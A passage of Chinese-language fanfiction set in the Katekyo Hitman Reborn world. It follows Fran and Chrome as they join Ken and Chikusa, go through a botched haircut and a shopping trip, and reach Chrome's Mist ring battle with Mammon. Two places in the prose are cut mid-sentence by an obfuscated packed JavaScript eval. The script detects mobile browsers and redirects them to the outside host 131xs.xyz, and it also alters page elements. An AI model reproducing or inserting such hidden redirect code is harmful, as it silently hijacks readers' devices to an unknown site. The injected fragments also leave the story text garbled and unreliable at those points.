弗兰猛地睁开眼,急促地吸了一口气,房间里几天没打扫的潮湿阴冷的空气瞬间涌入肺腑。窗外,横滨的黎明正挣扎着透出灰蒙蒙的光,微弱地照亮了这狭小、简陋的空间。库洛姆正抱着她的武器蜷缩在沙发上,整个人略显迷糊的睁开眼。 “我们现在像被主人一脚踢出家门的流浪猫了,师姐。”他语气里听不出抱怨,更像是在陈述一个既定事实。 库洛姆慢悠悠的爬起来,她没有回应弗兰的话,只是伸出手,轻轻拂去他额前被汗水黏住的几缕绿色刘海。动作轻柔,带着一种无声的关怀。 “走吧。” 9.并中纪事(一) 上午十一点半,正值工作日,车站人不是很多。临近正午,阳光依旧灿烂,带着初夏特有的热度,烘烤着略显陈旧的站台。一群放了学的高中生聚在角落,校服鲜艳,嬉笑声清脆地传来,像一群无忧无虑的雀鸟。 在这群青春洋溢的身影中,有两位穿着陈旧绿色校服的人显得格外突兀,仿佛误入了不属于他们的领地。 叮—— 电车门的滑开声打破了站台的节奏。 弗兰率先走下车,白色T恤外套着略显宽大的黑色长袖外套,巨大的苹果头套几乎遮住了他大半张脸。紧随其后的是库洛姆,她穿着简单的白色连衣裙,柔顺的紫色长发垂落腰际,脸上的单边眼罩为她增添了一丝神秘。这奇特的组合——巨大的苹果头和神秘的眼罩少女——瞬间成了站台的焦点。好奇、探究的目光纷纷投射过来。 不远处,倚靠着斑驳站台立柱的两个人似有所感,同时抬起了头。其中一个黄头发的少年咧嘴一笑,那笑容带着点野性不羁。他裤腿随意地卷至膝盖,露出结实的腿部线条,脸颊贴着显眼的OK绷,外套更是大大咧咧地敞开着,活脱脱一副不良少年的模样。 “哟!就是他们了吧?”黄毛少年吹了声口哨,声音洪亮,“跟骸大人描述得真是一模一样!那个苹果脑袋和眼罩……想认错都难啊!” 他旁边站着一个瘦高的少年,推了推鼻梁上那副厚重的黑框眼镜,镜片在刺眼的阳光下反射出两块刺目的光斑,完美地遮住了他大半张脸,只余下紧抿的薄唇透着一股子拒人千里的冷淡。他微微颔首,算是回应同伴的话,随后一言不发地率先迈开步子,径直朝弗兰和库洛姆走去。 “诶……”弗兰抬起手,苹果头套笨拙地左右转动着,视线扫过略显空旷的站台,“师父不是说会有人来接我们吗?Me怎么没看到这里有什么符合‘奇怪’标准的人啊。”他的声音透过头套传出,带着特有的平板无波。 库洛姆下意识地拉了拉弗兰的衣袖,正要开口安慰:“骸大人的同伴也不一定都是……”话音未落,她瞥见了那两位气势汹汹朝他们走来的身影,后半句话硬生生卡在了喉咙里,紫色眼眸中闪过一丝紧张。 “师姐——”弗兰的声音依旧波澜不惊,甚至带着点发现新奇事物的好奇,“Me好像看到两只野生的小混混了,啊,他们朝我们这边来了。”他甚至还歪了歪苹果头,像是在确认物种。 两人就这么略带呆滞地看着那两位穿着绿色校服的少年停在他们面前。黄毛少年双手插兜,以一副居高临下的姿态,极其挑剔的目光在库洛姆和弗兰身上来回扫视了好几遍,最终从鼻子里发出一声不屑的冷哼。 “啧,”他撇撇嘴,语气充满质疑,“就这?一个看着风一吹就倒的女人,外加一个还没断奶的小鬼……真搞不懂骸大人怎么会选上你们这种……” “咦,师姐?”弗兰仿佛没听见黄毛的发言,又或者完全将其当成了背景噪音。他自顾自地往库洛姆身后缩了缩,小手还煞有介事地揉了揉眼睛,“师父说的那位‘非常靠谱’的同伴到底在哪里啊?Me怎么完全没发现?” 他顿了顿,声音里充满了“天真”的困惑:“Me只看到一只会说话、看起来不太聪明的狗狗妖精,还有一个眼镜片厚得能当盾牌、走路像根移动竹竿的杆子精……日本的白天也会有百鬼夜行吗?真是神奇的地方呢。” “……” 死寂。空气仿佛凝固了一瞬。 下一秒,黄毛少年的脸瞬间涨得通红,额角青筋暴起,像被踩了尾巴的猫一样炸毛:“千种!你他妈别拦着我!!老子今天非把这个小鬼咬死不可!!!”他怒吼着就要扑上去,身体因为愤怒而微微颤抖。 戴着厚重眼镜的少年——千种——动作异常熟练,仿佛演练过无数次。他面无表情地伸出长臂,一把从后面箍住了暴怒同伴的脖子和肩膀,将他牢牢锁住,声音依旧平板无波:“冷静点,犬。骸大人交代过任务。” 库洛姆见状,赶紧把躲在自己身后的弗兰拽了出来,脸上带着尴尬又无奈的表情:“弗兰,不要火上浇油了。”她的声音轻柔,却带着一丝不容置疑的制止。 --- 车站到黑耀中学的路程并不遥远,废弃游乐园那破败的轮廓在夕阳余晖下投下长长的、扭曲的阴影,像蛰伏的巨兽。巨大的摩天轮骨架锈迹斑斑,沉默地指向被染成橘红色的天空。空气里弥漫着灰尘、铁锈和一种挥之不去的潮湿霉味。 犬踢开一扇歪斜的铁门,门轴发出刺耳的呻吟。 “喏,就这儿了!虽然破了点,但地盘够大!”犬的声音在空旷破败的建筑物内部激起轻微的回响。 “这里完全就是危房吧。”紧接着就是一个熟悉的让人拳头发痒的声音响起,弗兰蹲在破了一个大洞的房间门口,开始怀念自己原来的住处。 库洛姆放下行李,目光扫过积满灰尘的地板、剥落的墙皮和从破窗斜射进来的最后一点夕阳光柱。她走到一面相对完整的、布满蛛网的镜子前,手指无意识地缠绕着自己及腰的紫色长发,发丝在昏暗中依旧泛着柔润的光泽。 “那个…”库洛姆转过身,声音不大,却清晰地传入每个人的耳朵。她指尖依旧捻着一缕柔顺的发丝,目光在昏暗的光线下显得有些犹豫,“这附近……有理发店吗?我想…把头发剪短一点。” 她顿了顿,似乎在给自己打气,“这样…行动或许会更方便些。” “剪头发?”犬的耳朵瞬间竖了起来,像嗅到了什么绝顶有趣的事情。他猛地从千种身边蹿到库洛姆面前,黄棕色的眼睛在昏暗中闪闪发亮,充满了过度膨胀的自信,“交给我啊!这种小事包在我身上!我技术可是超级一流的!保证给你剪个最酷、最有个性的发型!”他拍着胸脯,唾沫星子几乎要溅出来。 库洛姆看着犬那头如同被电击过、根根直立的张扬黄发,又对上他眼中那不容拒绝的炽热光芒,拒绝的话在舌尖滚了滚,终究化作一声轻叹和一个带着点认命意味的点头:“……嗯。” 她实在不擅长拒绝同伴这种“热情”。 “好嘞!瞧好吧!”犬顿时像被注入了强心针,兴奋得原地蹦了一下,一阵风似的冲进房间深处。只听得一阵稀里哗啦、翻箱倒柜的噪音,片刻后,他举着一把看起来还算新的剪刀得意洋洋地跑回来。 弗兰帽沿下的眉毛似乎微妙地挑动了一下,他平板的声音响起:“这位动物前辈……看起来就非常不靠谱的样子啊。Me建议师姐慎重考虑。” “闭嘴,臭小子!再啰嗦信不信我把你这碍事的苹果头套连同里面的脑袋一起剪了!”犬恶狠狠地挥舞着剪刀,寒光在昏暗的光线下闪过,随即他转向库洛姆,脸上瞬间切换成一种混杂着过度自信和莫名紧张的郑重表情,“你坐好!千万别动!放心,我的技术又快又好!保证……呃,保证让你满意!”他最后几个字明显有些飘忽,底气不足地补充道,“就算…就算剪坏了……也…也肯定好看!嗯!” 库洛姆依言在唯一一张还算稳固的破旧椅子上坐下,背脊挺得笔直,双手规规矩矩地放在膝盖上。她深吸一口气,缓缓闭上了眼睛,长长的睫毛在眼下投出一小片阴影,仿佛将自己完全交给了命运。 犬也深吸一口气,如同即将进行一场关乎生死存亡的神圣仪式。他小心翼翼地捏起库洛姆一绺柔顺的紫色长发,笨拙地张开剪刀。锐利的剪刀刃摩擦着发丝,发出令人牙酸的“嘎吱”声,艰难地咬合下去。 千种不知何时悄无声息地站到了稍远一点的阴影里,镜片后的目光平静无波地注视着这荒诞又充满生活气息的一幕。弗兰则干脆盘腿坐在满是灰尘的地板上,双手托着苹果头套的下巴,时不时从喉咙深处发出一两声意义不明的短促气音,像是在强行憋笑,肩膀可疑地微微耸动。 时间在剪刀笨拙的“咔嚓、咔嚓”声、发丝落地的簌簌声以及弗兰那压抑的抽气声中缓慢流淌。细碎的紫色发丝像飘落的紫藤花瓣,簌簌地掉在库洛姆的肩上、白色的连衣裙上,再滚落到积满灰尘的地面。 犬的神情也从最初的雄心万丈,渐渐变成了全神贯注的紧张,额角甚至渗出了细密的汗珠。他围着库洛姆转来转去,动作幅度越来越大,剪刀挥舞得越来越快,嘴里还念念有词地指挥着自己:“这边…再短一点…嗯,对称…对称很重要…这边好像有点厚了…削薄点…” 然而,他的动作却越来越偏离最初的轨道,呈现出一种狂野奔放的态势。 “这个形状……”弗兰幽幽的声音再次响起,带着一种恍然大悟的“惊叹”,“Me好像看到第二颗凤梨头正在冉冉升起了!狗狗前辈,原来你真正的身份是园艺修剪大师吗?专门负责给凤梨塑形?” 大约花了一个多世纪那么漫长,犬终于猛地后退一步,长长地、如释重负地呼出一大口气,脸上混杂着完成杰作的自豪和一丝不易察觉的心虚,用夸张的语调宣布:“完成!Perfect!快来看看本大爷的杰作!简直太适合你了!……对了,你叫什么来着?”他挠了挠头,后知后觉地问。 “……”库洛姆嘴角似乎微不可查地抽动了一下,“你一开始……也没问吧。我是库洛姆·髑髅,这个小孩叫弗兰。”她移开视线,努力维持着平静的表情,伸手接过犬递来的那面布满蛛网和灰尘的破镜子。 昏暗的光线下,镜中的影像模糊不清,带着重影。 她抬起手,指尖带着一丝不易察觉的颤抖,小心翼翼地触碰到颈侧和耳后。原本柔顺冰凉的长发触感消失了,取而代之的是一种前所未有的、光秃秃又刺刺的触感——两侧和后脑的头发被剪得极短,唯有头顶正中央,一大片紫色的发丝被刻意保留并高高竖起,形成一种极其尖锐、极具张力的锥形结构。 那造型,与她记忆中某个遥远身影的发型诡异地重合。 短暂的怔忡后,库洛姆白皙的脸颊浮起一丝极淡的红晕,紫色的眼眸微微睁大,一层薄薄的水雾迅速弥漫开来,凝结成小小的泪珠,挂在长长的睫毛上。她纤细的手指轻轻梳理了一下头顶那撮倔强挺立的紫发,声音很轻,带着一种奇异的、近乎虔诚的肯定:“…嗯。和骸大人的…有点像。” “……”弗兰感觉自己的苹果头套都快要裂开了,他相当无言地看着这一幕,直到他敏锐地捕捉到旁边阴影里,千种厚重的眼镜片下似乎也闪过了一丝极其微弱的、类似“满意”的光芒时,他整个人都轻轻地、无声地“碎”了。 这里难道就他一个正常人吗?! 弗兰内心无声呐喊。 “噗——哧!” 他终于彻底没忍住,发出一声短促又怪异的嗤笑,随即在犬凶狠得几乎要喷火的目光逼视下,强行板起脸,用极其严肃、仿佛在进行学术点评的语气说道: “嗯…非常有特色。狗狗前辈,看来你的‘园艺’造诣在发型艺术领域取得了突破性的进展。下次师父如果要修剪他那标志性的凤梨叶子,Me一定郑重推荐你去。相信你的手艺会让师父的造型更加……嗯,引人注目。” “给我好好叫名字啊!你这混蛋小鬼是想现在就打一架吗?!!”犬恼羞成怒地挥舞着那把大剪刀,寒光闪烁,“而且,我当然会!我会给骸大人剪出世界上最帅气、最完美的发型!比你的破苹果头帅一万倍!!” “但是,”弗兰的声音依旧平板无波,却精准地戳中了要害,“你们也没告诉Me名字啊。Me只知道一个像狗狗,一个像杆子精。总不能叫‘喂’吧。” “……” 他看着拿着镜子的黄毛少年——犬——脸上的表情瞬间凝固,如同被石化魔法击中,整个人以肉眼可见的速度开始褪色、僵硬,仿佛一座饱经风霜的劣质石膏像。弗兰隐藏在巨大苹果头套下的嘴角,缓缓勾起了一个诡异而满足的弧度。 这个人……也太好骗了吧。弗兰愉快地想,看来未来的日子,会比想象中要有意思得多。 “好了,弗兰。适可而止。”千种平板的声音如同冰冷的金属,适时地响起,打断了即将再次爆发的冲突,“骸大人交代过了,现在还有更重要的事。”他推了推鼻梁上的眼镜,镜片在昏暗中闪过一道冷光,“我们需要去采购一些生活必需品,趁商店还没有完全关门。” --- 并盛町商业街的灯火逐渐亮起,驱散了废弃乐园带来的阴郁。超市明亮的白炽灯光倾泻而下,带着暖意的空调风、商品琳琅满目的色彩以及食物的香气,瞬间将人拉回了充满烟火气的日常世界。 犬推着一辆购物车,里面已经堆得像一座摇摇欲坠的小山:各种贴着醒目打折标签的便当盒、花花绿绿的速食面包装袋、超大包装的膨化食品几乎要溢出来。他正和旁边的千种争论着什么,唾沫横飞: “豚骨!必须是豚骨拉面!那个汤头才够味!你那个酱油味的就是清汤寡水!” “热量和钠含量都过高。味噌口味相对均衡。”千种推着另一辆比较克制的购物车,语气毫无波澜地反驳。 “均衡?能吃就行!管那么多干嘛!你看这个,买五送一!”犬抓起一大包印着夸张武士图案的泡面就要往车里塞。 弗兰则懒散地坐在犬推的那辆“小山”车的儿童座位上,两条腿晃荡着。他绿色的眼睛漫不经心地扫过一排排货架,最终停留在色彩斑斓的糖果区。他伸出小手,精准地拿了一包包装最花哨的水果硬糖。 库洛姆安静地走在稍后一点的位置,努力适应着新发型带来的、后颈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是谁?”千种镜片后的目光瞬间变得锐利,身体下意识地绷紧,站得更直了些,一只手悄然插进了外套口袋。犬也立刻收敛了刚才的跳脱和购物热情,将购物车往旁边一横,挡在库洛姆和弗兰前面,警惕地盯着这个突然出现、气息浑厚的男人,像一头护崽的狼。 男人——家光——笑容不变,语气熟稔得像是在问候邻居家的小孩,目光却精准地锁定了库洛姆:“你们就是六道骸的同伴了吧?幸会幸会。”他晃了晃手里的啤酒罐,“我是沢田家光,彭格列的门外顾问。小姑娘,” 他看向库洛姆,笑容温和了些,“能麻烦你,让我和六道骸单独谈谈吗?” 库洛姆抱着洗漱用品的手不自觉地收紧,指节微微泛白。她微微鞠躬,紫色凤梨头随着动作轻轻晃动,声音带着一丝不易察觉的紧张:“您好,沢田……先生?”她对“门外顾问”这个头衔显然有些陌生。 “喂,库洛姆!不用对这该死的黑手党这么礼貌!”犬一听‘彭格列’这个词,如同被点燃的炸药桶,瞬间炸开了锅,黄发几乎要根根竖起,从弗兰的视角抬头看去,甚至能隐约看到他头顶蒸腾起的无形怒气,“你们这些阴魂不散的家伙!找骸大人又想干什么?!!” 红温了呢,前辈。弗兰默默评价道。他有些不明所以地看看那位穿着像刚下工地的农民工大叔,又看看面前穿着同样不修边幅、炸毛状态的犬,一种“同是天涯邋遢人”的奇妙既视感在脑中一闪而过。 “kufufufu……” 一个充满磁性、带着独特诡异颤音的笑声从众人身后传来,如同薄雾般弥漫开,“沢田家光……我可不认为和你们这些黑手党,有什么值得单独一谈的必要。” 靛蓝色头发的少年不知何时已悄然出现在犬的身侧,苍白修长的手指无声地搭在犬的肩膀上,示意他冷静。而刚刚还站在他们身后的库洛姆,此刻已不见踪影。 六道骸异色的双瞳冷冷地注视着家光,眼底深处是毫不掩饰的厌恶与警惕,如同寒冰。他手中那柄造型奇异的银色三叉戟无声无息地显现,在超市的灯光下流转着冰冷的光泽。 家光脸上的笑容依旧爽朗,眼神却变得无比认真,他晃了晃手中的啤酒罐,意有所指:“如果我说,要谈的事情……和你身后这些‘同伴’有关呢?特别是那个小姑娘,还有……那个有趣的苹果小子?”他的目光若有似无地扫过弗兰的方向。 六道骸的脸色瞬间阴沉下来,周身的气压仿佛都低了几度,三叉戟的尖端微微抬起:“……你最好不是在浪费我的时间。” …… “所以为什么最后要Me来付钱啊!你们不才是大人吗!Me的监护人赚钱很辛苦的!” 弗兰看着收银台上堆积如山的物品,小脸皱成一团,灰暗地蹲在超市角落的盆栽旁边,整个人散发着浓重的怨念。背景仿佛被他的低气压扭曲成了实质性的灰黑色。 天知道当他们推着两辆塞得满满当当的购物车来到收银台,收银员报出那个数字时,犬和千种是如何默契地、齐刷刷地将目光投向了他。那一刻的迷茫和震惊,足以让弗兰怀疑自己是否误入了什么新型诈骗团伙。 他来这里真的对吗?弗兰绝望地想,该不会师父把他骗来,就是为了给这群生活不能自理(且毫无金钱概念)的家伙当人形取款机吧?现在买票回横滨还来得及吗? 另外两人则毫无心虚地理所当然。“骸大人临走前说了,如果钱不够就找你‘借’。” 犬一边把东西往收银台上搬,一边理直气壮地说,“本来骸大人肯定会付的,这不是……被那个彭格列的大叔叫去谈话了嘛。”他故意把“谈话”两个字咬得很重。 千种默默地将最后几瓶水放上台面,推了推眼镜,补充道:“骸大人的原话是:‘弗兰会处理好的。’” 弗兰的视线越过两人,投向超市对面那家灯火通明的咖啡店。 透过明亮的落地玻璃窗,可以清晰地看到靛蓝色头发的少年和那位门外顾问相对而坐。家光脸上挂着爽朗的笑容,似乎说了句什么,然后从口袋里掏出一个什么东西——在灯光下反射着金属光泽,像是一枚戒指——递了过去。 六道骸异色的双瞳盯着那枚戒指,手指在桌面上轻轻敲击着,似乎在权衡。最终,他嘴角勾起一个意味不明的、带着点邪气的弧度,伸手接过了戒指。 家光脸上的笑容更大了些,举起手中的咖啡杯,像是在致意。 “那么,”弗兰仿佛能透过玻璃“听”到骸那独特的笑声,“合作愉快了,彭格列。” 弗兰收回目光,看着眼前等待付款的“小山”,又摸了摸魏尔伦最后的“遗物”——银行卡,发出一声沉重的、认命的叹息。 10.第 10 章 “回去吧。”和那位门外顾问谈完的六道骸心情看上去还不错,看也没看,就朝着弗兰的方向随意地一抛,“东西你先收着,估计已经有人在找这玩意了,别被人抢了。” 那东西在空中划出一道小小的弧线,在超市明亮的灯光下折射出冰冷而内敛的靛蓝色光泽。它并非完整,只是一半——一枚指环被极其精准地沿着中心线一分为二,断裂的边缘光滑如镜。戒指的戒面设计繁复而古老,即便只有一半,依旧散发着属于顶级指环的强大能量波动和一种难以言喻的、属于“雾”的虚幻气息。 弗兰坐在叠成小山的货物之上,一直漫不经心的目光瞬间聚焦,如同被磁石吸引。 他反应极快,在身旁的犬下意识伸手去接之前,手已经闪电般探出,稳稳地在半空中截住了那半枚飞来的指环。 他抬起头,望向那抹即将消散的雾状身影,平板的声线里听不出情绪,唯有嘴角勾起一丝若有若无的探究弧度:“另一半指环的主人应该很厉害吧,师父,你就这么放心把烫手山芋丢给Me?万一Me被人‘咔嚓’了,可没人给你跑腿买凤梨罐头了哦。” “哦呀?”少年的笑声带着惯有的玩味,身影如同被风吹散的雾气般迅速稀薄,“这种事情……谁知道呢?”话音未落,人影已彻底消失,只留下原地抱着三叉戟、眼神略带迷茫的库洛姆。 --- 寂静的黑曜中学深处,不时传来野兽般的嚎叫。若有人胆敢推开那扇摇摇欲坠的大门,便会看到一幅奇景:废弃乐园中央,一半是冲天而起的炽热火柱,一半是凛冽刺骨的冰雪风暴。 “为什么非得帮那群黑手党啊!可恶!!”犬狠狠咬了一口从超市买回来的肉干,发出“嘎吱嘎吱”的声响,他焦躁地盯着窗外独自在冰火交织中训练的紫发少女,语气愤懑却又带着一丝不易察觉的别扭,“……不过,赢的肯定是我们!” “这句话该由Me来说才对吧,犬前辈。” 弗兰坐在窗台上,正努力用吸管对付奶茶杯底最后几颗顽固的珍珠,发出“呼噜呼噜”的噪音。 他含糊地抱怨着:“Me对这种黑手党过家家的游戏一点兴趣都没有啊。赶紧结束让Me回去吧。和你们这些整天无所事事的大人不同,Me可是有正经事要做的。” 他晃了晃右手,上面戴着两枚截然不同的指环:一枚正是那断裂的靛蓝指环,散发着冰冷虚幻的迷雾气息;另一枚则朴实无华,戒面上刻着三个简单的“6”字,气息内敛得近乎虚无。 他叹了口气,将空杯子精准地抛进角落的垃圾桶,疲惫地将头上那顶巨大的苹果帽往下压了压,试图隔绝空气中弥漫的、被强大指环吸引而来的窥探感。 “还有那位不知名的对手,一直在追踪指环的踪迹,也让Me很困扰呢。” “犬其实很高兴吧,”站在窗边的高挑少年——柿本千种推了推鼻梁上的眼镜,镜片反射着窗外冰火交织的光影,语气平淡无波,“被人关心的感觉。” 他的目光落在楼下大汗淋漓、喘息不止的库洛姆身上,停顿片刻后转身,“差不多到这就行了,保留一下精力迎接晚上的战斗吧。” “诶?”弗兰歪了歪头,巨大的苹果帽随着动作晃了晃,翠绿的眼眸扫过犬和千种,“你们出去一趟,态度好像变了很多嘛?遇到什么好事了?” 他敏锐地察觉到犬虽然依旧坐立不安,像身上长了跳蚤,但今天居然罕见地没怎么咒骂黑手党了。 “嘁,臭小子少管闲事啦!”犬像被踩了尾巴似的,立刻粗声反驳,扭过头去,耳根却有点可疑的发红。 --- 晚上十一点,并盛中学体育场馆门口。 “喂!弗兰!库洛姆!骸大人交代的事都记清楚了吗!”犬焦躁地用犬牙磨着下唇,眼神里充满对踏入场馆的抗拒,但一想到对手可能的反应,嘴角又忍不住咧开一个充满恶作剧意味的笑容,“我们先走一步,你们快点跟上!” 紫发的少女深吸一口气,冰凉的夜风让她微微打了个颤。她郑重地将那半枚断裂的指环套上手指。冰冷的金属棱角硌着柔嫩的掌心,带来一丝带着痛楚的实感,也让她纷乱的心绪稍稍沉淀。她用力握紧了拳头,仿佛握住了某种支撑。 紧接着他们听到里面传来一阵惊呼。 “难道……雾之守护者是——六道骸!!” “不!” 紧闭的大门被猛地推开。库洛姆眼神一凛,将手中的外套潇洒地向后一抛,一个小小的身影敏捷地从她身后窜出,稳稳接住。 “我的名字是库洛姆,库洛姆·骷髅!” 少女清亮的声音在骤然安静的场馆中响起。 弗兰慢悠悠地跟在后面踏入灯光刺眼的场馆,露出死鱼眼懒洋洋地扫视全场。 “……哇哦。”他内心毫无波澜地吐槽,“这什么奇行种大聚会?” 撇开己方这群看起来像不良学生的小团伙不提,对面那群人的造型……简直挑战人类审美极限。 “这个发型……还有那只被遮住的眼睛!是六道骸没错!等等,那个小鬼又是怎么回事?!” 一个银发炸毛、满脸写着“不良”二字的少年如同被踩了尾巴的猫,瞬间抽出几根引线滋滋作响的炸药,一个箭步挡在中央那位棕色刺猬头少年身前,警惕地瞪着弗兰一行人。 那副凶神恶煞的表情,让弗兰不由得又侧头瞥了一眼身旁同样一脸凶相的犬。 库洛姆对周遭的骚动置若罔闻,她的目光只锁定着中央那位棕发少年——沢田纲吉。 她缓步向前,无视了挡路的银发少年和周围惊疑不定的目光,径直走到纲吉面前。看着少年脸上还未褪去的信任神色,她唇角弯起一个温柔的弧度,随即在所有人惊愕的注视下,微微踮起脚尖,在少年温热的侧颊上轻轻印下一吻。 “谢谢你的信任,BOSS。” 她的声音很轻,却清晰地传开。 “……” 死寂。 下一秒,火山爆发! “你——在——干——什——么——啊——!!!” 狱寺隼人的咆哮几乎掀翻屋顶,整张脸涨得通红,像颗随时会爆炸的炸弹,“给我从十代目身边滚开啊混蛋!!!” “库、库、库洛姆同学?!”纲吉本人更是如同被雷劈中,整个人僵在原地,头顶似乎冒出了具象化的白烟,脸瞬间红得像煮熟的虾子,语无伦次,“你你你……这这这……” “师姐?!”连一向淡定的弗兰也难得破了功,苹果帽下的死鱼眼瞪得溜圆,声音都拔高了几度,“师父让你来‘打招呼’,不是让你直接‘打啵’吧?!这剧本不对啊喂!” 三声惊叫如同三重奏,场面混乱得无以复加。狱寺被身后反应过来的山本武和笹川了平死死架住,徒劳地挣扎咆哮。 这莫名的既视感让弗兰僵住的大脑终于重新运转,他再次无语地看向身旁同样石化、表情扭曲的犬和推着眼镜、镜片反光看不清神情的千种。 “我绝对不同意让这种来历不明的人加入守护者!”狱寺隼人挣脱束缚,一个箭步再次挡在库洛姆和纲吉之间,像头炸毛的守护兽。 “但是现在,能以雾之守护者身份战斗的,只有库洛姆和弗兰。”一个稚嫩却异常沉稳的声音从彭格列众人身后响起。 穿着黑色小西装、帽檐上趴着绿色蜥蜴的婴儿不知何时站在了沢田纲吉的肩膀上,豆大的黑眼睛扫过全场,瞬间让嘈杂的场馆安静下来。 “诶?弗兰是……”被踩着的沢田纲吉还有些懵,疑惑地左右张望,最终视线落在了弗兰身上——这个他们队伍里唯一陌生的小孩。 “是这个小朋友吗?看起来和蓝波差不多大……” “蓝波?”弗兰听到同音的名字,翠绿的眸子瞬间亮了一下,随即又迅速黯淡下去,恢复了那副无精打采的样子。 “这孩子和那头蠢牛可不一样,阿纲。”里包恩的列恩变成小手枪,轻轻敲了敲纲吉的头发,语气不容置疑,“他是六道骸的弟子。论实力,恐怕比你们大多数人都要强。” “诶?!!!” 彭格列众人整齐划一地发出惊呼,目光齐刷刷聚焦在正旁若无人、用小指挖着鼻孔的弗兰身上。他头上巨大的苹果帽叶子不满地晃了晃。 “Me才不想玩这种无聊的黑手党过家家呢,”弗兰收回手指,声音平板无波,带着浓浓的嫌弃,“要不是看师父的面子,Me现在就该在温暖的被窝里了。你们这群人,伤风败俗,感觉和你们待久了智商会直线下降。” 他死鱼眼扫过对面瓦利安那群奇装异服的成员,补充道,“不过对面看起来更猎奇一点……你们黑手党,是专门收集怪人的吗?” “比赛即将开始!”场馆中央,两位粉色头发、戴着巨大耳机、如同双胞胎般的裁判冷冰冰地开口,打断了这场闹剧。“请双方雾之守护者入场。” “那…我上了。”库洛姆深吸一口气,回头望向弗兰和黑曜的同伴,在众人的目光中,握紧三叉戟,坚定地走向场馆中心。 空气瞬间变得冰冷而凝滞,弥漫着灰尘和陈年木地板的气息。巨大的体育馆内,灯光聚焦在中央,只有库洛姆和漂浮在半空中、被巨大斗篷包裹的婴儿玛蒙遥遥对峙。 无形的压力弥漫开来。 库洛姆纤细的手指紧紧攥着三叉戟的金属长柄,指节因过度用力而泛白,冰冷的触感是她此刻唯一的支撑。她的呼吸放得很轻,但那只紫色的左眼却燃烧着异常坚定的火焰,死死锁定着空中那小小的、散发着危险气息的身影。 一个巨大的、冰冷的透明玻璃罩从天花板缓缓降下,发出沉闷的机械声,将战场与观众席隔绝开来。弗兰听着裁判毫无感情的规则解说,蔫蔫地打了个大大的哈欠,眼角挤出一点生理性泪水。 库洛姆率先发难! 她三叉戟轻点地面,熟悉的景象瞬间展开——整个体育馆坚实的地面如同脆弱的饼干般崩裂、塌陷!观众席上的众人只觉得脚下一空,伴随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693011|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊呼声向下坠落。 然而,空中的玛蒙发出一声不屑的冷哼,斗篷下瞬间涌出无数滑腻黏湿的紫黑色触手,如同毒蛇般激射而出,瞬间缠住了库洛姆纤细的身体!触手骤然收紧,发出令人牙酸的“咯吱”声,仿佛下一秒就要将她生生绞碎! “你在看哪呢?”少女清冷的声音带着一丝嘲讽,突兀地从玛蒙身后响起。与此同时,被触手缠绕的“库洛姆”啵的一声轻响,化作了一堆散落的篮球。 “呵…很好。”玛蒙兜帽下的阴影似乎加深了,声音带着被戏耍的愠怒,“这样…我也能稍微认真一点了……”话音未落,一股更加强大、更加阴冷的能量波动猛地从他小小的身体内爆发出来,斗篷无风自动,空气仿佛都为之冻结! “果然是他,”里包恩站在纲吉肩头,语气凝重,“彩虹之子中灵力最强的术士。” “普通的术士,根本赢不了那家伙。”可乐尼洛抱着手臂,眉头微蹙。 “别太小瞧师姐啊,”弗兰懒洋洋的声音插了进来,打破了凝重的气氛,他依旧是那副半死不活的样子,仿佛眼前只是场无聊的闹剧。 “虽然那个会飞的豆丁占了点属性优势,但是……”他顿了顿,翠绿的眸子瞥了一眼场中再次发起冲锋的库洛姆,“……师姐她,可是实打实的武斗派术士。” 仿佛印证他的话,库洛姆的三叉戟猛地挥出,数道粗壮的火柱凭空拔地而起,带着灼人的热浪咆哮着冲向玛蒙! 火焰几乎擦着弗兰的苹果帽飞过,高温让他额前的碎发微微卷曲。 下一秒,刺骨的寒意席卷而来!玛蒙身前的空气瞬间凝结,凭空出现的巨大冰柱以更快的速度蔓延,不仅瞬间冻熄了火柱,更是沿着库洛姆的双腿急速向上攀爬! 冰晶蔓延的“咔嚓”声清晰可闻,库洛姆的惊呼被冻结在喉间,呼出的白气瞬间凝结成霜。 玻璃罩内的观众席上,众人被这骤变的温差刺激得纷纷打起了哆嗦。弗兰撇了撇嘴,有些不耐烦地抬手,打了个清脆的响指。笼罩着观众席的冰冷幻象如同被戳破的肥皂泡,“啵”的一声消散无踪,温度恢复正常。 “谢、谢谢你,弗兰!”纲吉抱着胳膊,牙齿还在轻微打颤,但看向弗兰的眼神充满了真诚的感激。 弗兰有些不自在地扭过头,帽檐下的耳朵似乎动了动,含糊地应了一声:“……哼。” 场上瞬息万变! 眼看身体即将被完全冻结,库洛姆眼中闪过一丝决绝!她手腕一翻,竟从身后掏出一把乌黑锃亮的手枪,冰冷的枪口瞬间对准了半空中的玛蒙! “哼,无聊的把戏。”玛蒙悬浮不动,兜帽下的声音充满轻蔑,“你以为这种粗陋的幻术能伤到我分毫?” 砰—— 枪声在空旷的场馆内显得格外刺耳。子弹呼啸而出,却因为库洛姆手臂的僵硬和低温的影响,擦着玛蒙的兜帽边缘飞过,只在他苍白的小脸上留下一道浅浅的血痕。 “什——什么?!”纲吉的下巴几乎砸到脚面,整个人陷入了巨大的混乱,“真、真枪?!这里是日本啊!这种东西是怎么带进来的……不对!库洛姆同学怎么会有枪?她只是个中学生吧?!” “因为这是Me的啊。”弗兰扯了扯纲吉的衣角,试图让他冷静一点,但这解释显然起了反效果,纲吉看起来更崩溃了。 “准头还差了点,”弗兰遗憾地咂咂嘴,“才练了半个月果然不行。Me预想的是应该爆头的。” 